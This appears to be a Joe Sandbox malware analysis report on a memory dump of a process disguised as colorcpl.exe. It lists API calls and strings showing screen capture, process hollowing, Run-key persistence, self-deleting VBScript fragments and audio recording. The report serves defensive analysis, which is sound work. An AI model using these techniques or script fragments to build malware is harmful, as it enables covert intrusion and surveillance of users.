API String ID: 3192549508-0
Opcode ID: 516ec3e50dbc80bc6cb4a46c9f7aaaf7d34b82bf177f8d08db4470dd00de78cf
Instruction ID: b02d95c9822a52b3e10d13ce37e6ab7aa0f9b86ec828b42c17c3845ea1babb6a
Opcode Fuzzy Hash: 516ec3e50dbc80bc6cb4a46c9f7aaaf7d34b82bf177f8d08db4470dd00de78cf
Instruction Fuzzy Hash:

Function 030A6E7E Relevance: 47.6, APIs: 26, Strings: 1, Instructions: 307windowmemoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 030A6E98
CreateCompatibleDC.GDI32(00000000), ref: 030A6EA5

Part of subcall function 030A72DF: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 030A730F

CreateCompatibleBitmap.GDI32(00000000,?), ref: 030A6F1B
DeleteDC.GDI32(00000000), ref: 030A6F32
DeleteDC.GDI32(00000000), ref: 030A6F35
DeleteObject.GDI32(00000000), ref: 030A6F38
SelectObject.GDI32(00000000,00000000), ref: 030A6F59
DeleteDC.GDI32(00000000), ref: 030A6F6A
DeleteDC.GDI32(00000000), ref: 030A6F6D
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 030A6F91
GetIconInfo.USER32(?,?), ref: 030A6FC5
DeleteObject.GDI32(?), ref: 030A6FF4
DeleteObject.GDI32(?), ref: 030A7001
DrawIcon.USER32(00000000,?,?,?), ref: 030A700E
GetObjectA.GDI32(00000000,00000018,?), ref: 030A7026
LocalAlloc.KERNEL32(00000040,00000001), ref: 030A7095
GlobalAlloc.KERNEL32(00000000,?), ref: 030A7104
GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 030A7128
DeleteDC.GDI32(?), ref: 030A713C
DeleteDC.GDI32(00000000), ref: 030A713F
DeleteObject.GDI32(00000000), ref: 030A7142
GlobalFree.KERNEL32(?), ref: 030A714D
DeleteObject.GDI32(00000000), ref: 030A7201
GlobalFree.KERNEL32(?), ref: 030A7208
DeleteDC.GDI32(?), ref: 030A7218
DeleteDC.GDI32(00000000), ref: 030A7223

Strings

DISPLAY, xrefs: 030A6E91

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIcon$BitmapBitsDisplayDrawEnumInfoLocalSelectSettingsStretch
String ID: DISPLAY
API String ID: 479521175-865373369
Opcode ID: d2ab732fb6e4899ff1758081f3716ad3510d3e569f9be3f673f956f09578bc26
Instruction ID: 2605e09be2273d0ecbb8d49c361cee3ba4d629e13d0a4402add2630bf949dcb0
Opcode Fuzzy Hash: d2ab732fb6e4899ff1758081f3716ad3510d3e569f9be3f673f956f09578bc26
Instruction Fuzzy Hash: B0B16B35605704AFD760EFA8E844B6BBBE8FF88B10F04481DF9899B240DB35E905CB52

Function 030A642D Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 289libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 030A6474
GetProcAddress.KERNEL32(00000000), ref: 030A6477
GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 030A6488
GetProcAddress.KERNEL32(00000000), ref: 030A648B
GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 030A649C
GetProcAddress.KERNEL32(00000000), ref: 030A649F
GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 030A64B0
GetProcAddress.KERNEL32(00000000), ref: 030A64B3
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 030A6555
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 030A656D
GetThreadContext.KERNEL32(?,00000000), ref: 030A6583
ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 030A65A9
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 030A662B
TerminateProcess.KERNEL32(?,00000000), ref: 030A663F
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 030A667F
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 030A6749
SetThreadContext.KERNEL32(?,00000000), ref: 030A6766
ResumeThread.KERNEL32(?), ref: 030A6773
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 030A678A
GetCurrentProcess.KERNEL32(?), ref: 030A6795
TerminateProcess.KERNEL32(?,00000000), ref: 030A67B0
GetLastError.KERNEL32 ref: 030A67B8

Strings

ZwMapViewOfSection, xrefs: 030A6479
ZwUnmapViewOfSection, xrefs: 030A648D
ZwClose, xrefs: 030A64A1
ZwCreateSection, xrefs: 030A645A
ntdll, xrefs: 030A645F, 030A647E, 030A6492, 030A64A6

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
API String ID: 4188446516-3035715614
Opcode ID: 5fcae474ebb997de07b223a2e9d37be2ab7cdca9d301b9baaea03c2b5a9f588d
Instruction ID: 59abc7417ca2cc8267938a269ac24904fc3ba460656072c981c15666bcef3ec2
Opcode Fuzzy Hash: 5fcae474ebb997de07b223a2e9d37be2ab7cdca9d301b9baaea03c2b5a9f588d
Instruction Fuzzy Hash: 72A18CB0602309AFD750DFA8EC85B6BBBF8FF48745F080819F6959A250D77AD844CB15

Function 0309BFDE Relevance: 38.8, APIs: 6, Strings: 16, Instructions: 281registryCOMMON

Download Yara Rule

APIs

Part of subcall function 030A12B5: TerminateProcess.KERNEL32(00000000,031021E8,0309E2B2), ref: 030A12C5
Part of subcall function 030A12B5: WaitForSingleObject.KERNEL32(000000FF), ref: 030A12D8

GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0309C0D6
RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0309C0E9
SetFileAttributesW.KERNEL32(?,00000080), ref: 0309C102
SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0309C132

Part of subcall function 0309A7F2: TerminateThread.KERNEL32(03099305,00000000,031021E8,0309BC76,?,03102200,pth_unenc,031021E8), ref: 0309A801
Part of subcall function 0309A7F2: UnhookWindowsHookEx.USER32(?), ref: 0309A811
Part of subcall function 0309A7F2: TerminateThread.KERNEL32(030992EF,00000000,?,03102200,pth_unenc,031021E8), ref: 0309A823

Part of subcall function 030AA17B: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,?,00000000,030AA29A,00000000,00000000,00000000), ref: 030AA1BA

ShellExecuteW.SHELL32(00000000,open,00000000,030F9654,030F9654,00000000), ref: 0309C37D
ExitProcess.KERNEL32 ref: 0309C389

Strings

On Error Resume Next, xrefs: 0309C172
"), xrefs: 0309C18E
Set fso = CreateObject("Scripting.FileSystemObject"), xrefs: 0309C163
open, xrefs: 0309C377
fso.DeleteFile ", xrefs: 0309C1F3
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0309C02A
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 0309C07B
fso.DeleteFile(Wscript.ScriptFullName), xrefs: 0309C32C
while fso.FileExists(", xrefs: 0309C1A5
\update.vbs, xrefs: 0309C134
fso.DeleteFolder ", xrefs: 0309C264
Temp, xrefs: 0309C139
CreateObject("WScript.Shell").Run "cmd /c "", xrefs: 0309C2BA
wend, xrefs: 0309C242
exepath, xrefs: 0309C0B0
""", 0, xrefs: 0309C2A0

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
String ID: """, 0$")$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
API String ID: 1861856835-1536747724
Opcode ID: 3da7dcb6f204d579e45dc1a9666deebf3f32afb0df369c5ec1ddcfe65dfa3e1b
Instruction ID: ca47ad61436336ee4903b27eae156e232bdfcb98b536cca70c23f83438ff89a3
Opcode Fuzzy Hash: 3da7dcb6f204d579e45dc1a9666deebf3f32afb0df369c5ec1ddcfe65dfa3e1b
Instruction Fuzzy Hash: 1191D0397073055FEA18F764E860AEF77E89FD4610F04092FE1869F1A1EF209D4AE652

Function 030A0EDA Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 190synchronizationsleepfileCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000001,00000000,03102200,03101FFC,00000000), ref: 030A0EF9
ExitProcess.KERNEL32(00000000), ref: 030A0F05
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 030A0F7F
OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 030A0F8E
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 030A0F99
CloseHandle.KERNEL32(00000000), ref: 030A0FA0
GetCurrentProcessId.KERNEL32 ref: 030A0FA6
PathFileExistsW.SHLWAPI(?), ref: 030A0FD7
GetTempPathW.KERNEL32(00000104,?), ref: 030A103A
GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 030A1054
lstrcatW.KERNEL32(?,.exe), ref: 030A1066

Part of subcall function 030AA17B: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,?,00000000,030AA29A,00000000,00000000,00000000), ref: 030AA1BA

ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 030A10A6
Sleep.KERNEL32(000001F4), ref: 030A10E7
OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 030A10FC
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 030A1107
CloseHandle.KERNEL32(00000000), ref: 030A110E
GetCurrentProcessId.KERNEL32 ref: 030A1114

Strings

.exe, xrefs: 030A105A
open, xrefs: 030A10A0
temp_, xrefs: 030A1048
exepath, xrefs: 030A0F31
WDH, xrefs: 030A0FAD, 030A111B

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
String ID: .exe$WDH$exepath$open$temp_
API String ID: 2649220323-3088914985
Opcode ID: 523998985a9254b3a48e376a8606ba168ce9e29c311c3dc91c2262964ab3e030
Instruction ID: 0ab0c227af2d875d76df8af78bbd503b1f395f6655460de6ec2125fd4910d578
Opcode Fuzzy Hash: 523998985a9254b3a48e376a8606ba168ce9e29c311c3dc91c2262964ab3e030
Instruction Fuzzy Hash: F551D175B0270DAFDF54FBE4BC58EEE33AD9B44610F000595F502AB181EF798E468A50

Function 030A8FFD Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 180synchronizationCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 030A90F2
mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 030A9106
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,030F3050), ref: 030A912E
PathFileExistsW.SHLWAPI(00000000,00000000,00000000,?,00000000), ref: 030A9144
mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 030A9185
mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 030A919D
mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 030A91B2
SetEvent.KERNEL32 ref: 030A91CF
WaitForSingleObject.KERNEL32(000001F4), ref: 030A91E0
CloseHandle.KERNEL32 ref: 030A91F0
mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 030A9212
mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 030A921C

Strings

close audio, xrefs: 030A9217
open ", xrefs: 030A9086
pause audio, xrefs: 030A9180
alias audio, xrefs: 030A906E
resume audio, xrefs: 030A9198
play audio, xrefs: 030A9101
stop audio, xrefs: 030A920D
stopped, xrefs: 030A91B8
" type , xrefs: 030A908B
status audio mode, xrefs: 030A91AD

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped
API String ID: 738084811-1354618412
Opcode ID: cbba2fc95ff75384b1264cf49dd62024d34ddba3cc0dafa3ae538e9b6f55d862
Instruction ID: 194ed80d1ca4c19fea59c12af07d67f7a6468e4fd706d91bc560af4561ad37ba
Opcode Fuzzy Hash: cbba2fc95ff75384b1264cf49dd62024d34ddba3cc0dafa3ae538e9b6f55d862
Instruction Fuzzy Hash: C751F3793063497FEA08FBB4EC94EFF369C9BC4298F00042EB1069A590DF654D48DA22

Function 0309B871 Relevance: 37.0, APIs: 10, Strings: 11, Instructions: 296fileCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0309B882
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,03101FFC), ref: 0309B89B
CopyFileW.KERNEL32(C:\Windows\SysWOW64\colorcpl.exe,00000000,00000000,00000000,00000000,00000000,?,03101FFC), ref: 0309B952
_wcslen.LIBCMT ref: 0309B968
CopyFileW.KERNEL32(C:\Windows\SysWOW64\colorcpl.exe,00000000,00000000,00000000), ref: 0309B9E0
SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0309BA22
_wcslen.LIBCMT ref: 0309BA25
SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0309BA3C
ShellExecuteW.SHELL32(00000000,open,00000000,030F9654,030F9654,00000000), ref: 0309BC2A
ExitProcess.KERNEL32 ref: 0309BC36

Strings

Temp, xrefs: 0309BA43
Set fso = CreateObject("Scripting.FileSystemObject"), xrefs: 0309BA7B
open, xrefs: 0309BC24
CreateObject("WScript.Shell").Run "cmd /c "", xrefs: 0309BB57
fso.DeleteFile , xrefs: 0309BAB6
fso.DeleteFile(Wscript.ScriptFullName), xrefs: 0309BBD2
C:\Windows\SysWOW64\colorcpl.exe, xrefs: 0309B916, 0309B91B, 0309B94B, 0309B9DA, 0309B9DF, 0309B9E6, 0309BAAA
\install.vbs, xrefs: 0309BA3E
6, xrefs: 0309B95C
WScript.Sleep 1000, xrefs: 0309BA6D
""", 0, xrefs: 0309BB47

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: File$_wcslen$AttributesCopy$CreateDirectoryExecuteExitProcessShell
String ID: """, 0$6$C:\Windows\SysWOW64\colorcpl.exe$CreateObject("WScript.Shell").Run "cmd /c ""$Set fso = CreateObject("Scripting.FileSystemObject")$Temp$WScript.Sleep 1000$\install.vbs$fso.DeleteFile $fso.DeleteFile(Wscript.ScriptFullName)$open
API String ID: 2743683619-306929222
Opcode ID: 70a228feaa2bac866f9704d6cf4b8972e25d0a2229c1e0bfc32316671a163525
Instruction ID: bd3c36c52c26e0c6578dde533e58cc24efc96da8d1248ad3b10ffe82d6c57612
Opcode Fuzzy Hash: 70a228feaa2bac866f9704d6cf4b8972e25d0a2229c1e0bfc32316671a163525
Instruction Fuzzy Hash: FE918B3930A3456FEA1CF765EC60EEF77D9AFD0210F10082FE1468E190EE34994AE652

Function 03091A4D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 03091AB9
WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 03091AE3
WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 03091AF3
WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 03091B03
WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 03091B13
WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 03091B23
WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 03091B34
WriteFile.KERNEL32(00000000,030FFA9A,00000002,00000000,00000000), ref: 03091B45
WriteFile.KERNEL32(00000000,030FFA9C,00000004,00000000,00000000), ref: 03091B55
WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 03091B65
WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 03091B76
WriteFile.KERNEL32(00000000,030FFAA6,00000002,00000000,00000000), ref: 03091B87
WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 03091B97
WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 03091BA7

Strings

data, xrefs: 03091B91
WAVE, xrefs: 03091AFD
fmt , xrefs: 03091B0D
RIFF, xrefs: 03091ADD

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: File$Write$Create
String ID: RIFF$WAVE$data$fmt
API String ID: 1602526932-4212202414
Opcode ID: 794de5f5b23d96a7bc1d5b5ef1680b38ad37c3b9152ba1673fd316f898a3aafc
Instruction ID: 8d7592dbff738dff7238a62a9ca7062586e672ab3587a6b5cd7f2cdb7c3cff2b
Opcode Fuzzy Hash: 794de5f5b23d96a7bc1d5b5ef1680b38ad37c3b9152ba1673fd316f898a3aafc
Instruction Fuzzy Hash: 28415C726443197EE210DA51DC86FBF7EECEB85E50F40091AF644DA080D7A5A909DBB3

Function 030DC60D Relevance: 25.9, APIs: 17, Instructions: 419COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 030DC69F
_free.LIBCMT ref: 030DC6C5
_free.LIBCMT ref: 030DC6EE
_free.LIBCMT ref: 030DC726
_free.LIBCMT ref: 030DC757
_free.LIBCMT ref: 030DC798
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 030DC819
_free.LIBCMT ref: 030DC832
_wcschr.LIBVCRUNTIME ref: 030DC86F
_free.LIBCMT ref: 030DC8DB
_free.LIBCMT ref: 030DC901
_free.LIBCMT ref: 030DC92A
_free.LIBCMT ref: 030DC95F
_free.LIBCMT ref: 030DC990
_free.LIBCMT ref: 030DC9D1
SetEnvironmentVariableW.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 030DCA56
_free.LIBCMT ref: 030DCA6F

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free$EnvironmentVariable$_wcschr
String ID:
API String ID: 3899193279-0
Opcode ID: bfc21936189ca15314d3ca42bf3fb9569d35a3586c94d4c30e8f0b4348664f40
Instruction ID: a140efa6cfb32025521a6160bc48f673d8570f11d656384e70ff0252b0752eb7
Opcode Fuzzy Hash: bfc21936189ca15314d3ca42bf3fb9569d35a3586c94d4c30e8f0b4348664f40
Instruction Fuzzy Hash: 74D16B75E077056FEB25EF789884BAEBBE8EF41310F0941ADE942DB284EB359500CB51

Function 030A37DC Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 030A382B
LoadLibraryA.KERNEL32(?), ref: 030A386D
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 030A388D
FreeLibrary.KERNEL32(00000000), ref: 030A3894
LoadLibraryA.KERNEL32(?), ref: 030A38CC
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 030A38DE
FreeLibrary.KERNEL32(00000000), ref: 030A38E5
GetProcAddress.KERNEL32(00000000,?), ref: 030A38F4
FreeLibrary.KERNEL32(00000000), ref: 030A390B

Strings

freeaddrinfo, xrefs: 030A3808
\wship6, xrefs: 030A38B4
\ws2_32, xrefs: 030A3855
getnameinfo, xrefs: 030A37F8
getaddrinfo, xrefs: 030A37E9, 030A3887, 030A38D8

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeProc$Load$DirectorySystem
String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
API String ID: 2490988753-744132762
Opcode ID: d052a33921f8e3f92346733d3407136dd9c4e3da1f4ccb19e6448e78d8a767f3
Instruction ID: 82027d327d05b1634c866315711f76002da5f3205c64fa0439f820278e6bff31
Opcode Fuzzy Hash: d052a33921f8e3f92346733d3407136dd9c4e3da1f4ccb19e6448e78d8a767f3
Instruction Fuzzy Hash: 2B31077A907B15ABC320EBA8E848ECFB7EC9F85750F080A59F94497200D739D5048BA6

Function 030AA419 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 030AA43B
RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 030AA47F
RegCloseKey.ADVAPI32(?), ref: 030AA749

Strings

Publisher, xrefs: 030AA4DB
InstallDate, xrefs: 030AA51A
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 030AA431
UninstallString, xrefs: 030AA52E
InstallLocation, xrefs: 030AA506
DisplayVersion, xrefs: 030AA4F2
DisplayName, xrefs: 030AA4C6

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
API String ID: 1332880857-3714951968
Opcode ID: acb8f33ad0000c9100c027c6a8400be8b6ff479e0772e9d6ac9e7337b6d94378
Instruction ID: c208e12903445fd49ba8960926ecbe638fd4a085365c40266eeb855bd59e38ac
Opcode Fuzzy Hash: acb8f33ad0000c9100c027c6a8400be8b6ff479e0772e9d6ac9e7337b6d94378
Instruction Fuzzy Hash: 5B815F3520A3459FE728EB55D850EEFB7ECAFD4304F10492EE5868A190EF30A90DDB52

Function 030AB344 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000401,?,?), ref: 030AB38F
GetCursorPos.USER32(?), ref: 030AB39E
SetForegroundWindow.USER32(?), ref: 030AB3A7
TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 030AB3C1
Shell_NotifyIconA.SHELL32(00000002,03101AE0), ref: 030AB412
ExitProcess.KERNEL32 ref: 030AB41A
CreatePopupMenu.USER32 ref: 030AB420
AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 030AB435

Strings

Close, xrefs: 030AB426

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
String ID: Close
API String ID: 1657328048-3535843008
Opcode ID: e0a363f1884b20b05944a3dcba67b36ce74d63e7345c6adeba0148babb7feb79
Instruction ID: 248bbc0145c29327d4a6d962eee649fbe3029c53c4ec7da0389eb54c06a20322
Opcode Fuzzy Hash: e0a363f1884b20b05944a3dcba67b36ce74d63e7345c6adeba0148babb7feb79
Instruction Fuzzy Hash: 03213D36202549FFDB09AFB8FC0DA6D7FB5EB18701F084524F506A8468D7BA99509B24

Function 030D3268 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 030D32D8
_free.LIBCMT ref: 030D32EE
_free.LIBCMT ref: 030D32FF
_free.LIBCMT ref: 030D3310
_free.LIBCMT ref: 030D3327
GetCPInfo.KERNEL32(?,?), ref: 030D336F

Part of subcall function 030E0054: _free.LIBCMT ref: 030E00BF

_free.LIBCMT ref: 030D351B
_free.LIBCMT ref: 030D352E
_free.LIBCMT ref: 030D353C
_free.LIBCMT ref: 030D3547
_free.LIBCMT ref: 030D3589
_free.LIBCMT ref: 030D3591
_free.LIBCMT ref: 030D3599
_free.LIBCMT ref: 030D35A1
_free.LIBCMT ref: 030D35AF

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: f78d1193a72a0d2afc336d8f1f256a902973b533ef057ac30f52baa2ca6266f2
Instruction ID: 32acd758a1d59e8f7733160e01edd965ab863e8cf8c7d7fc014aa7eebcaa89ab
Opcode Fuzzy Hash: f78d1193a72a0d2afc336d8f1f256a902973b533ef057ac30f52baa2ca6266f2
Instruction Fuzzy Hash: 86B1A279A023059FDB11DF68C880BEEFBF5BF48300F1845ADE599AB241DB75A841CB61

Function 030DE4A6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 030DE4EA

Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD6FF
Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD711
Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD723
Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD735
Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD747
Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD759
Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD76B
Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD77D
Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD78F
Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD7A1
Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD7B3
Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD7C5
Part of subcall function 030DD6E2: _free.LIBCMT ref: 030DD7D7

_free.LIBCMT ref: 030DE4DF

Part of subcall function 030D3C92: RtlFreeHeap.NTDLL(00000000,00000000,?,030DDE4F,?,00000000,?,00000000,?,030DE0F3,?,00000007,?,?,030DE63E,?), ref: 030D3CA8
Part of subcall function 030D3C92: GetLastError.KERNEL32(?,?,030DDE4F,?,00000000,?,00000000,?,030DE0F3,?,00000007,?,?,030DE63E,?,?), ref: 030D3CBA

_free.LIBCMT ref: 030DE501
_free.LIBCMT ref: 030DE516
_free.LIBCMT ref: 030DE521
_free.LIBCMT ref: 030DE543
